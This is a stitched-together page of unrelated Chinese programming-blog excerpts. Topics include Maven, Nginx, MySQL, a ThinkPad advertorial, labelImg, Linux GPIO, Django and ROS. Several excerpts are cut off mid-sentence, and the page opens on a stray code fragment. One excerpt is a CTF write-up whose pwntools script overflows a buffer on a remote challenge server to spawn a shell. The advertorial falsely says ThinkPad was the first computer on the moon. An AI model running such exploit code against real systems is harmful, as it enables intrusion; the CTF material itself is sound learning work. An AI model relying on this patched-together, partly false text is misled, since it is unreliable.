this.onclose.bind(this); this.

maven 编译出错Fatal error compiling: 无效的目标发行版: 1.8 -> [Help 1] 解决办法

转载: http://blog.csdn.net/ryan_turbo/article/details/72781311 这几天在为公司项目搭建一个后台框架,使用的是eclipse-Mars自带的maven插件,在maven进行编译的时候,出现Fatal error compiling: 无效的目标发行版: 1.8 -> [Help 1] 的 错误。而我在pom文件中已经指定了maven编译时使用jdk8来编译,那为什么还会报这个错呢。 [html] view plain copy org.apache.maven.plugins maven-compiler-plugin 3.1 1.8 1.8 UTF-8 初步判断是maven在编译时没有找到我指定的jdk8。但是我确实已经安装了jdk8了,为什么还是出现这个问题呢? 后来才发现,还要设置maven每次clean 时使用的jdk!!! 具体设置方法:Window–>prefrences–>java–>Installed JREs 勾选jdk8。 这样设置好以后就可以正常编译了。

POJ 3295 Tautology解题报告

http://poj.org/problem?id=3295 算法主要思路: 1. 获取所有的终结字符(小字符),组合所有的可能性(0或者1); 2. 然后带入到输入的字符串中进行计算 3. 如果所有组合的输出都是真(1),那么就是Tautology;否则是not 注意事项: 1. 两个难点,一个是组合的产生;另一个是计算。计算需要从字符串的最后开始朝开始”规约“,直到最后只有一个符号。需要有点编译原理的知识。 2. 数据集测试。这个很重要,否则,有些问题发现不了。 本代码中有测试数据。需要把TEST宏定义打开,就可以使用。 #include <iostream> #include <string.h> #include <assert.h> using namespace std; //#define TEST #define LINE_SIZE 110 #define SYM_SIZE 5 char line[LINE_SIZE]; typedef bool(* opr_f_T)(bool,bool); typedef struct{ char s; //opr symbols: KANCE opr_f_T f; }opr_T; typedef struct{ char s; //terminal symbols: pqrst bool b; //有效位//枚举位 }term_T; bool opr_K(bool w,bool x){ if(w&&x)return true; return false; } bool opr_A(bool w,bool x){ if(!

商务本与时尚无缘?ThinkPad E系列给你不一样的答案

ThinkPad自问世以来就以其独特技术和卓越性能著称,成为IT大咖和技术人士的最爱。除了键盘中央有个标志性的红色小控制杆以外,几乎全身黑色,故而也被国内外ThinkPad粉们亲切的称为“小黑”。 “小黑”的名头让ThinkPad听起来有几分戏谑和俏皮,但究其内在,可是个不折不扣的性能怪兽。 众所周知,ThinkPad有12项军标加身,在各种严酷的测试环境下,依然可以正常工作,作为08奥运的官方指定用机,也是第一台登上月球的专用计算机。品质,一直是ThinkPad品牌25年来屹立不倒的立身之本。在为专业用户提供最优生产力工具理念的驱使下,ThinkPad E系列由于其独特的定位和均衡的性能,自2009年初代产品上市以来,就一直受到年轻用户的关注和喜爱。2018年1月3日,ThinkPad再接再厉,发布了旗下全新ThinkPad E480/E580系列产品。 那么,此次发布的ThinkPad E480/E580在外观设计、性能表现、品质把控以及后期服务上都进行了哪些创新呢?让我们一起来看看。 棱角分明,外观设计更商务、更有型 据了解,此次ThinkPad E480/E580采用全新模具进行打造,分别采用14寸和15寸屏幕。与E系列以往产品的圆角设计不同的是,此次新品采用了硬朗的直角边设计,这样做的目的也是为了让产品屏占比更高。与ThinkPad家族其他产品外观更为统一,外观更显商务化。同时,在大屏幕上实现的微边框设计,使得左右边框最窄只有6.9mm。屏幕支持180°开合,配合防误撞铰链,可以给用户带来更开阔的视觉体验。 机身厚度方面,此次E系列产品机身最厚处为19.9mm,最轻至1.75kg,轻薄的机身却依旧保留了丰富的接口,并支持快充技术。据介绍,在关机状态下ThinkPad E系列新品1小时即可充达80%的电量。键盘采用了ThinkPad经典的TrackPoint®小红帽+三键设计、1.8mm高触感浮岛式键盘,为移动办公助力。 另外,此次ThinkPad E480在延续ThinkPad经典黑色的基础上,还提供了银色外壳供选择,商务之外更添了几分时尚感。 性能卓越,内部设计更全面、更耐用 据悉,新一代ThinkPad E系列也是ThinkPad家族中最先搭载第八代智能英特尔酷睿四核处理器的产品。标配AMD Radeon RX 550 高性能独立显卡,支持4K超清信号输出,确保了画面的清晰和流畅度。可选M.2 PCIe SSD+2.5英寸HDD双硬盘,搭载双DDR4内存插槽,支持双通道,最高可拓展至32GB。无论商务还是娱乐都可以获得可靠的使用体验。 机身内部用料以及家族传承方面,ThinkPad E480/580使用了在PC行业中鲜有的全钽电容主板,具有稳定性、体积小、抗电磁干扰、耐高温、寿命长等诸多优势。其采用ThinkPad独有的Think Cool黑酷散热技术,保证E系列产品在极限环境下也能顺畅运行。 配套服务方面,ThinkPad E系列也匹配了Think至臻服务,包括中国大陆180个城市上门服务、意外保护和数据拯救服务,并有电脑管家工程师实时在线,高端电话专线服务等全方位支持。 渠道及售价方面,ThinkPad E480/E580自1月11日起开始全面预售,据悉,ThinkPad E480售价4999元起,用户通过联想官网、全网电商及线下门店即可购买。

Nginx启动失败,80端口已被占用

#检查Nginx配置 [root@i-14fe7093 nginx]# ./sbin/nginx -t -c ./conf/nginx.conf nginx: the configuration file /usr/local/nginx/./conf/nginx.conf syntax is ok nginx: configuration file /usr/local/nginx/./conf/nginx.conf test is successful #不依靠残留进程,重新启动Nginx [root@i-14fe7093 nginx]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use) nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use) nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use) nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use) nginx: [emerg] bind() to 0.

TestFlight 如何获取邀请码

今天2018年第一个上班日,要发布个ios APP 版本,并且给测试的同学测试,忽然发现以前的 TestFlight 无法使用了,需要输入什么邀请码。找来找去都不知道在哪里发邮件输入,网上谷歌费了一番劲才找到相关的教程,现在给大家整理一个简简单单的,咱不要那么复杂的。 首先登录苹果 iTunes Connect 官网,进入如下界面: 点击添加测试员 如果没有你的 APP ID 在列表里面,那就到 用户和职能 中添加: 添加完后会发一个邮件到你填写的邮箱里面,然后点击登录一下这一步就过了,然后我们回到第2步把刚才添加的你的邮箱勾选添加。添加完后测试员列表会显示一个发邮件的按钮,点击按钮会发送两条信息到你填写的这个邮箱,然后第二个邮箱里面有你需要的 TestFlight 的邀请码,把这个邀请码输入到你 ios 设备的 TestFlight 就可以了。 **注意注意:APP中 TestFlight 的登录账号必须要和你添加的用户一致才能生效。**

使用labelImg制作自己的数据集(VOC2007格式)用于Faster-RCNN训练

一、数据集文件夹 新建一个文件夹,用来存放整个数据集,或者和voc2007一样的名字:VOC2007 然后像voc2007一样,在文件夹里面新建如下文件夹: 二、将训练图片放到JPEGImages 将所有的训练图片放到该文件夹里,然后将图片重命名为VOC2007的“000005.jpg”形式 图片重命名的代码(c++,python,matlab),参考:http://blog.csdn.net/u011574296/article/details/72956446 三、标注图片,标注文件保存到Annotations 使用labelIImg 标注自己的图片 1、在git上下载源码:https://github.com/tzutalin/labelImg 2、按照网页上的使用方法使用 (1)安装PyQt4和Lxml (2)在labelImage 的目录下 shift+右键打开cmd 运行一下命令: pyrcc4 -o resources.py resources.qrc python labelImg.py 注:这个时候,就会出现labelimage的窗口 (3)labelimg窗口的使用方法: • 修改默认的XML文件保存位置,可以用“Ctrl+R”,改为自定义位置,这里的路径不能包含中文,否则无法保存。 • 源码文件夹中使用notepad++打开data/predefined_classes.txt,可以修改默认类别,比如改成bus、car、building三个类别。 •“Open Dir”打开需要标注的样本图片文件夹,会自动打开第一张图片,开始进行标注 • 使用“Create RectBox”开始画框 • 完成一张图片后点击“Save”,此时XML文件已经保存到本地了。 • 点击“Next Image”转到下一张图片。 • 标注过程中可随时返回进行修改,后保存的文件会覆盖之前的。 • 完成标注后打开XML文件,发现确实和PASCAL VOC所用格式一样。 每个图片和标注得到的xml文件,JPEGImages文件夹里面的一个训练图片,对应Annotations里面的一个同名XML文件,一 一 对应,命名一致 标注自己的图片的时候,类别名称请用小写字母,比如汽车使用car,不要用Car pascal.py中读取.xml文件的类别标签的代码: cls = self._class_to_ind[obj.find('name').text.lower().strip()] 写的只识别小写字母,如果你的标签含有大写字母,可能会出现KeyError的错误。 四、ImageSets\Main里的四个txt文件 在ImageSets里再新建文件夹,命名为Main,在Main文件夹中生成四个txt文件,即: test.txt是测试集 train.txt是训练集 val.txt是验证集 trainval.txt是训练和验证集 VOC2007中,trainval大概是整个数据集的50%,test也大概是整个数据集的50%;train大概是trainval的50%,val大概是trainval的50%。 txt文件中的内容为样本图片的名字(不带后缀),格式如下: 根据已生成的xml,制作VOC2007数据集中的trainval.txt ; train.txt ; test.txt ; val.txt trainval占总数据集的50%,test占总数据集的50%;train占trainval的50%,val占trainval的50%; 上面所占百分比可根据自己的数据集修改,如果数据集比较少,test和val可少一些 代码如下:

linux内核中的GPIO系统之(5):gpio subsysem和pinctrl subsystem之间的耦合

1. 前言 按理说,kernel中gpio subsystem和pinctrl subsystem的关系应该非常清楚: pinctrl subsystem管理系统的所有管脚,GPIO是这些管脚的用途之一,因此gpio subsystem应该是pinctrl subsystem的client(也可叫做backend、consumer),基于pinctrl subsystem提供的功能,处理GPIO有关的逻辑。 不过,实际情况却不是这么简单,它们之间有着较为紧密的耦合(看一看kernel中pinctrl和gpio相关的实现就知道了)。本文将对这种耦合进行一个简单的分析,解释为什么要这样设计。 2. Why 首先,无论硬件的架构如何(可参考[2]中“五、和GPIO subsystem交互”),从逻辑上讲,有一点是很明确的(这一点和linuxer同学在[2]中的说明有出入,待讨论): gpio subsystem永远是pinctrl的backend(或client,或consumer)。 基于这一点,规范的做法,任何一个gpio chip(相关的概念可参考本站GPIO子系统的文章[5]),在使用GPIO的时候(通常是gpio subsystem的consumer申请GPIO资源的时候),都需要向系统的pinctrl subsystem申请管脚,并将管脚配置为GPIO功能。 思路是简单、直接的,但实际操作起来,却有点棘手,下面以一个最简单的例子说明: 假设某一个gpio chip只包括2个gpio,这两个gpio分别和uart进行功能复用。 如果这两个管脚是同时控制的,要么是gpio,要么是uart,就很好处理了,按照pinctrl subsystem的精神,抽象出两个function:gpio和uart,gpio chip在使用gpio功能的时候,调用pinctrl set state,将它们切换为gpio即可。 但是,如果这两个gpio可以分开控制(很多硬件都是这样的设计的),麻烦就出现了,每个gpio要单独抽象为一个function,因此我们可以抽象出3个function:gpio1、gpio2和uart。 然后考虑一下一个包含32个gpio的chip(一般硬件的gpio bank都是32个),如果它们都可以单独控制,则会出现32个function。而系统又不止有一个chip,灾难就发生了,我们的device tree文件将会被一坨坨的gpio functions撑爆! 规范是我们追求的目标,但有限度,不能让上面的事情发生,怎么办呢?在pinctrl subsystem的标准框架上打个洞,只要碰到这种情况,直接就走后门就是了。 3. pinctrl中和gpio有关的后门 后门是什么呢?其实很简单,参考下面的API: static inline int pinctrl_request_gpio(unsigned gpio) ; static inline void pinctrl_free_gpio(unsigned gpio) ; static inline int pinctrl_gpio_direction_input(unsigned gpio); static inline int pinctrl_gpio_direction_output(unsigned gpio); 当gpio driver需要使用某个管脚的时候,直接调用pinctrl_request_gpio,向pinctrl subsystem申请。 pinctrl subsystem会维护一个gpio number到pin number的map,将gpio subsystem传来的gpio number转换为pin number之后,调用struct pinmux_ops中有关的回调函数即可:

MySQL5.7 服务启动不了的问题

上周好不容易把MySQL弄好了,然后表也建好了。一切OK后,就关掉电脑回家去了。这周来,突然发现MySQL没有启动。以下是我一步一步解决问题的步骤记录: 1、发现MySQL没有正常启动。打开 任务管理器 ,找到MySQL,右键启动。提示错误:找不到路径,错误代码2。细看之下,发现MySQL那里的描述也是同样的问题,提示mysql读取描述文件失败,错误代码:2。初步判定是MySQL的服务不知怎么地出了问题。 2、百度解决方法。这里的话,网上各种方法都有。其中有条,指出这种问题很有可能是服务的注册路径和服务的安装路径不一致。可以手动进入注册表进行修改。但是,在本机的注册表里,没有找到MySQL这条,所以手动修改路径这里不行了。 3、重新查找其他方法。发现一个说,可以先remove掉MySQL服务,重新install。这个的解决思路很普通,但应该也是最适用的。于是,进行了mysqld -remove。紧接着进行mysqld -install,提示successful。但这时net start MySQL又出现了问题,提示“无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。”走到这里时,发现这条思路是对的,只是遇到了新的问题。 4、重启电脑。虽然,现在有了突破了,但提示错误还在。不过,思路又没问题,猜测是服务被remove后,需要重启电脑。于是,重启了电脑。 5、开机后,进入任务管理器。发现MySQL找不到了,事情好像比最开始还复杂了。但是,这恰恰说明,我们的remove操作成功了。MySQL已经被成功删掉了,只是我们的install操作好像没用。不过没关系,只要被删掉了就好说。 6、进行mysqld -install。因为MySQL被删掉了,这点可以从多个方面验证。此时,直接进行install就好了。但是,这时提示:Install/Remove of the Service Denied。这个问题很简单,重新以管理员的方式打开cmd,然后install。 成功,解决问题。

【Android】程序设计 ——记账App项目android移动端的实现

这是一个单纯的记账软件,目前的功能可以实现记账,显示总的支出、收入、结余,账单归类统计、用户信息管理功能,后续功能慢慢完善 源程序:https://github.com/zas023/CocoBill 后端地址:https://github.com/zas023/ssmBillBook 在我们生活中经常不知道钱花在什么地方,但是我们自己又不是很想写在记账本上进行管理,因为关于记账,我们每个人都有自己的需求,虽然市面上有许多优秀的记账app,所以对于自己来说,开发一个属于自己的软件来记账是个非常有趣的事情,但一直因为时间安排的原因未能实现。 所以趁着本学期程序实践的机会,顺便做一个项目,后台采用ssm框架,本人小白,如果有不足的地方,希望看到的大神给予指点建议,不胜感激! 一、需求分析 简单分析一下自己的需求,对于衣食住行进行分类,然后记录每天的时间,记录下消费的原因,最为重要的就是金额了。总会做个账单统计,分析自己当前的支出和收入,离预算还有多少钱花费。 二、界面设计 (一)主界面 采用ViewPger + TabLayout的模式,3个Fragment分别展示每月详单、每月按账单分类图表、每月按支付方式归类。(头部使用AppBarLayout以支持Toolbar的滑动) 其中部分借鉴于 https://github.com/wangjjj/TallyBook (二) 添加、编辑账单界面 向左画出账单编辑菜单,支撑账单分类、支付方式、时间日期、备注等信息的编辑。 (三) 菜单、设置、用户界面 其中主题选择放置于MainActivity中便于切换主题,头像是用户选择头像时直接裁剪成圆形并上传服务器。 (四) 账单分类管理界面 ItemTouchHelper配合RecyclerView使用,支持长按滑动排序、左右滑动删除。(支付方式管理尚未完成,默认三种:现金、支付宝、微信) (五)登陆注册界面 登陆到注册切换时将上下隐藏的两个输入框可见,便于切换回登录界面时保存用户输入信息。 三、程序设计 目前尚未想到本地数据库如何同服务器数据库同步,所以只支持在线操作。 四、代码实现 代码较多,就不直接贴了,欢迎左转链接。 源程序:https://github.com/zas023/CocoBill 后端地址:https://github.com/zas023/ssmBillBook 到此基本功能就实现了,主要还是后端太弱,才刚刚接触,后续会完善更多功能,。 Thanks to : butterknife: https://github.com/JakeWharton/butterknifeglide: https://github.com/bumptech/glideokhttp: https://github.com/square/okhttpMPAndroidChart: https://github.com/PhilJay/MPAndroidChartAndroid-PickerView: https://github.com/Bigkoo/Android-PickerViewAwesomeSplash: https://github.com/ViksaaSkool/AwesomeSplash

NJUPT-CGCTF pwn2 StackOverflow [Writeup]

最近肥肠地想入门一下pwn,找了道题试了一下。 题目网址:StackOverflow 栈溢出啊。。虽然我水平很菜。。还是觉得挺有意思的 不扯了,先看题。 扔到32位IDA里面看看,观察一下,发现有两个很关键的函数message与pwnme,很显然message可以用来栈溢出,pwnme可以用来调用system函数,但是Alt+T之后并没有发现‘/bin/sh’,也没有提供libc.so,这可咋整啊 问题先搁置一下,首先得来个栈溢出。 可是,用的是相对于gets更加安全的fgets,而且缓冲区只有10byte。。。 于是去内存中找变量n bss段(未初始化全局变量)。。妙啊。。看来是数组A越界改n的值啊,把n改成自己想要的大小 然后理论上说fgets遇‘\n’或缓冲区满则结束,是无法溢出的,但是既然我能控制缓冲区大小,不就相当于可以StackOverflow了吗? 这样我就可以去构造payload去覆盖ebp,篡改返回地址,指向pwnme函数。 到此,第一步结束了,接下来又回到了开头的问题——没有‘/bin/sh’。 可是我有bss段啊,在第一次输入时再补上一个‘/bin/sh’不就行了? 放脚本 from pwn import * r=remote('182.254.217.142',10001) #create '/bin/sh' in bss r.recvuntil('your choice:\n') r.sendline('1') payload1='A'*40+p32(0x80)+'/bin/sh' #exploit the bss r.recvuntil('you can leave some message here:\n') r.sendline(payload1) elf=ELF('./cgpwna') sysadr=elf.symbols['system'] #find the adr of system payload2='A'*(0x30+0x4)+p32(sysadr)+p32(0xDEADBEEF)+p32(0x0804A0AD) #use system('/bin/sh') and rand return address r.recvuntil('your name please:\n') r.sendline(payload2) r.interactive() (小插曲:一开始/bin/sh的地址搞错了,打了半天没打下来(滑稽)) 最后,祝各位元旦快乐啊,2018年一起进步!

input框的value明明有值,但是不显示问题

上午刚碰到的问题。也耽误了不少时间。用浏览器F12查看元素,发现value有值,但是显示的确实placeholder的值。然后注释掉placeholder之后,input框什么都不显示了。 一、如图所示 百度一下,都说可能是JS赋值的原因。因为前端页面不是我写的,所以刚开始也没想到这一点。后来和同事一起找问题,才发现问题所在。 二、错误原因 function loadPage(){ if(address_id == '' || address_id == undefined || address_id == null ){ //如果没有address_id,则为新增地址页面 $('input').val(''); } else { //如果有address_id,则视为编辑页面 $('body').append('<div class="address_del" onclick="address_del()">删除地址</div>'); } } 上面这段代码是判断有没有这个参数,没有的话,就把所有的input框的value值都变成空。。。怪不得。 end

kinect2.0视角范围和距离远近

本文章由cartzhang编写,转载请注明出处。 所有权利保留。 文章链接: http://blog.csdn.net/cartzhang/article/details/44588097 作者:cartzhang Kinect 摄像头范围介绍和玩家舒适距离实测 一、Kinect摄像头能看到什么 Kinect的视口是作用很多,不仅仅是看到手的动作,而且可以看到完整的人像。6个人可以被追踪到,其中包括两具骨骼图像。感应器有感应颜色的RGB(红、绿、蓝)摄像头和用来测量深度的红外发射摄像头。测量的深度的返回单位是毫米级别的。 Kinect的视口感应是一个很宽泛的范围,然而所有的感应设备都有自己的舒适区域和限制。考虑到这一点,我们定义了Kinect的重点和范围如下: 物理限制:感应器的实际的能力和它所能看到的。 舒适区域:此区域为人们体育的最佳互动区域。因为经常是一个大的范围,需要跟踪到人体的胳膊和腿部延伸。 ————以上为对Kinect Human interface guidelines 的翻译。 二、Kinect的舒适区 因为Kinect本身有两种模式,一个是半身模式,即近距离模式;另一个是缺省模式,为全身模式。 1. l 近距离模式深度距离范围 ü 物理限制:0.4米到3米 ü 舒适区:0.8米到2.5米 2. l 缺省模式的深度距离范围 ü 物理限制:0.8到4米(缺省) 深度扩展(超过4米)也是可以被检测,但是骨骼和玩家跟踪的噪声会随着距离的越远变得越大,因此此时可能是不可靠的。 ü 舒适区:1.2米到3.5米 3. l 视角大小(深度和RGB) ü 水平角度:57.5度 ü 垂直角度:43.5度,可在正负27度范围内上下。(译者注:因为kinect摄像头是可以上下调节角度的) 三、 实际测试 根据需要我们对Kinect的高度和被测试者(玩家)身高因素的影响进行了简单测试,如下表: 所有测试的时候,均没有对摄像头的上下角度进行调节,均以水平为准。 —————————– 若有问题,请随时联系! 非常感谢!

C语言宏定义中#符号和##的妙用

C语言宏定义中#符号和##的妙用 一、 宏定义可以包含两个专用的运算符:#和##。编译器不会识别这两个运算符,他们会预处理时被执行。 二、#运算符的用法 (1)#运算符用在预编译时期,用于将宏参数转换为字符串,即是加上双引号。 (2)测试代码 #include <stdio.h> #define PRINT_MACRO_HELPER(x) #x #define PRINT_MACRO(x) PRINT_MACRO_HELPER(x) #define PRINT_ANOTHER_MACRO(x) #x"="PRINT_MACRO_HELPER(x) #define TOTAL_SAVE_REAL_TIME_PICTURE 502 #pragma message(PRINT_MACRO_HELPER(TOTAL_SAVE_REAL_TIME_PICTURE)) #pragma message(PRINT_MACRO(TOTAL_SAVE_REAL_TIME_PICTURE)) #pragma message(PRINT_ANOTHER_MACRO(TOTAL_SAVE_REAL_TIME_PICTURE)) #pragma message(PRINT_MACRO_HELPER(1256985)) int main() { int i=982366632; char *str=PRINT_MACRO_HELPER(1235982536); char *str2=PRINT_MACRO(i); //char *str3=PRINT_MACRO(i); char *str3=PRINT_ANOTHER_MACRO(i); printf("the string of str is %s,the string of str2 is %s ,the string of str3 is %s\n",str,str2,str3); printf("%s\n","i love android!"); return 0; } (3)测试编译和运行结果 三、##运算符的使用 (1)##运算符用于在预编译期粘连两个符号,增大了宏的使用灵活性! (2)测试代码 #include <stdio.

new FormData() 前端上传文件图片到服务器

关于FormData XMLHttpRequest Level 2添加了一个新的接口FormData.利用FormData对象,我们可以通过JavaScript用一些键值对来模拟一系列表单控件,我们还可以使用XMLHttpRequest的send()方法来异步的提交这个"表单".比起普通的ajax,使用FormData的最大优点就是我们可以异步上传一个二进制文件. 所有主流浏览器的较新版本都已经支持这个对象了,比如Chrome 7+、Firefox 4+、IE 10+、Opera 12+、Safari 5+。 用处 上传文件的格式一般是 base64格式new FormData (ios,andorid只支持FormData 却不支持base64) 网上通俗的教程 通过传统的form表单提交的方式上传文件: <form id= "uploadForm" action= "http://localhost:8080/cfJAX_RS/rest/file/upload" method= "post" enctype ="multipart/form-data"> <h1 >测试通过Rest接口上传文件 </h1> <p >指定文件名: <input type ="text" name="filename" /></p> <p >上传文件: <input type ="file" name="file" /></p> <p >关键字1: <input type ="text" name="keyword" /></p> <p >关键字2: <input type ="text" name="keyword" /></p> <p >关键字3: <input type ="text" name="keyword" /></p> <input type ="submit" value="上传"/> </form> 复制代码 不过传统的form表单提交会导致页面刷新,但是在有些情况下,我们不希望页面被刷新,这种时候我们都是使用Ajax的方式进行请求的。

django模板标签{% for %}的使用(含forloop用法)

在django模板标签中,{% for %} 标签用于迭代序列中的各个元素。 与 Python 的 for 语句类似,语法是 for X in Y ,其中 Y 是要迭代的序列, X 是单次循环中使用的变量。每次迭代时,模板系统会渲染 {% for %} 和 {% endfor %} 之间的内容。 1. 可以使用下述模板显示 athlete_list 变量中的运动员: <ul> {% for athlete in athlete_list %} <li>{{ athlete.name }}</li> {% endfor %} </ul> 2. 加入 reversed 标签,反向迭代列表 {% for athlete in athlete_list reversed %} … {% endfor %} 3. 对二元组解包 {% for x, y in points %} <p>There is a point at {{ x }},{{ y }}</p> {% endfor %} 4.

tf之static_transform_publisher

tf:transform,ROS中管理3D坐标系变换的工具。只要告诉tf两个相关联坐标系的坐标变换信息,tf会帮你一直记录这个两个坐标系的坐标变换,即使两个坐标系处于运动中。 1 tf的命令行用法有以下6种: view_frames: visualizes the full tree of coordinate transforms. 打印当前tf图形化信息,树状结构。 tf_monitor: monitors transforms between frames. 起监控作用,可以在ROS_CONSOLE中打印出两个坐标系的延迟信息,以及每个坐标系是由哪个节点发布的。 tf_echo: prints specified transform to screen。类似于rostopic echo,打印当前的tf信息 roswtf: with the tfwtf plugin, helps you track down problems with tf. 找错的 static_transform_publisher is a command line tool for sending static transforms. 静态发布一个从父坐标系到子坐标系的一个坐标变换。这个用的非常频繁! 2 static_transform_publisher 接下来主要介绍下static_transform_publisher,因为这个用的最频繁。 2.1 yaw pitch roll 这是Eular的wiki中的原图,以飞机为例。 yaw 控制飞机方向,故称为偏航角pitch 控制飞机俯仰角度,故称为俯仰roll 控制飞机横滚,故称为横滚 (中文名称为经验之谈,可能不准确!!!) 这三个词同样可以应用在坐标系中。 yaw代表这绕z轴旋转的角度,pitch代表绕Y轴的角度,roll代表绕X轴的角度。 2.2 用法解释 wiki.ros.org 中的原文说到: static_transform_publisher x y z yaw pitch roll frame_id child_frame_id period_in_ms Publish a static coordinate transform to tf using an x/y/z offset in meters and yaw/pitch/roll in radians.

对象关联的使用objc_setAssociatedObject

特性 objective-c中,有类别可以在不修改源码的基础上增加方法;近排在看别人的开源代码时,发现还可以动态增加属性。而且是在运行时,太牛B了。 使用运行时库,必须要先引入 objc/runtime.h 可以使用的函数如下: OBJC_EXPORT void objc_setAssociatedObject(id object, const void *key, id value, objc_AssociationPolicy policy) 创建关联要使用到Objective-C的运行时函数:objc_setAssociatedObject来把一个对象与另外一个对象进行关联。该函数需要四个参数:源对象,关键字,关联的对象和一个关联策略。当然,此处的关键字和关联策略是需要进一步讨论的。 关键字是一个void类型的指针。每一个关联的关键字必须是唯一的。通常都是会采用静态变量来作为关键字。 关联对象可以作为作为一个让源对象持有这个关键对象的方法(相当于将关键对象通过源对象传递),比如下面的label中的颜色,其中的objc_setAssociatedObject是将关联的对象传出,通过方法objc_getAssociatedObject(id object, const void *key) 获取到,例如下面的View中的block,是将block在objc_setAssociatedObject中定义,而在objc_getAssociatedObject得到block后实现。 关联策略表明了相关的对象是通过赋值,保留引用还是复制的方式进行关联的;还有这种关联是原子的还是非原子的。这里的关联策略和声明属性时的很类似。这种关联策略是通过使用预先定义好的常量来表示的。 这个函数 OBJC_EXPORT id objc_getAssociatedObject(id object, const void *key) __OSX_AVAILABLE_STARTING(__MAC_10_6, __IPHONE_3_1); 使用场景 1.category使用 objc_setAssociatedObject/objc_getAssociatedObject 实现添加属性 属性 其实就是get/set 方法。我们可以使用 objc_setAssociatedObject/objc_getAssociatedObject 实现 动态向类中添加 方法 UILabel+Associate.h #import <UIKit/UIKit.h> @interface UILabel (Associate) - (void) setFlashColor:(UIColor *) flashColor; - (UIColor *) getFlashColor; @end UILabel+Associate.m #import"UILabel+Associate.h" #import<object/runtime.h> @implementationUILabel (Associate) static char flashColorKey;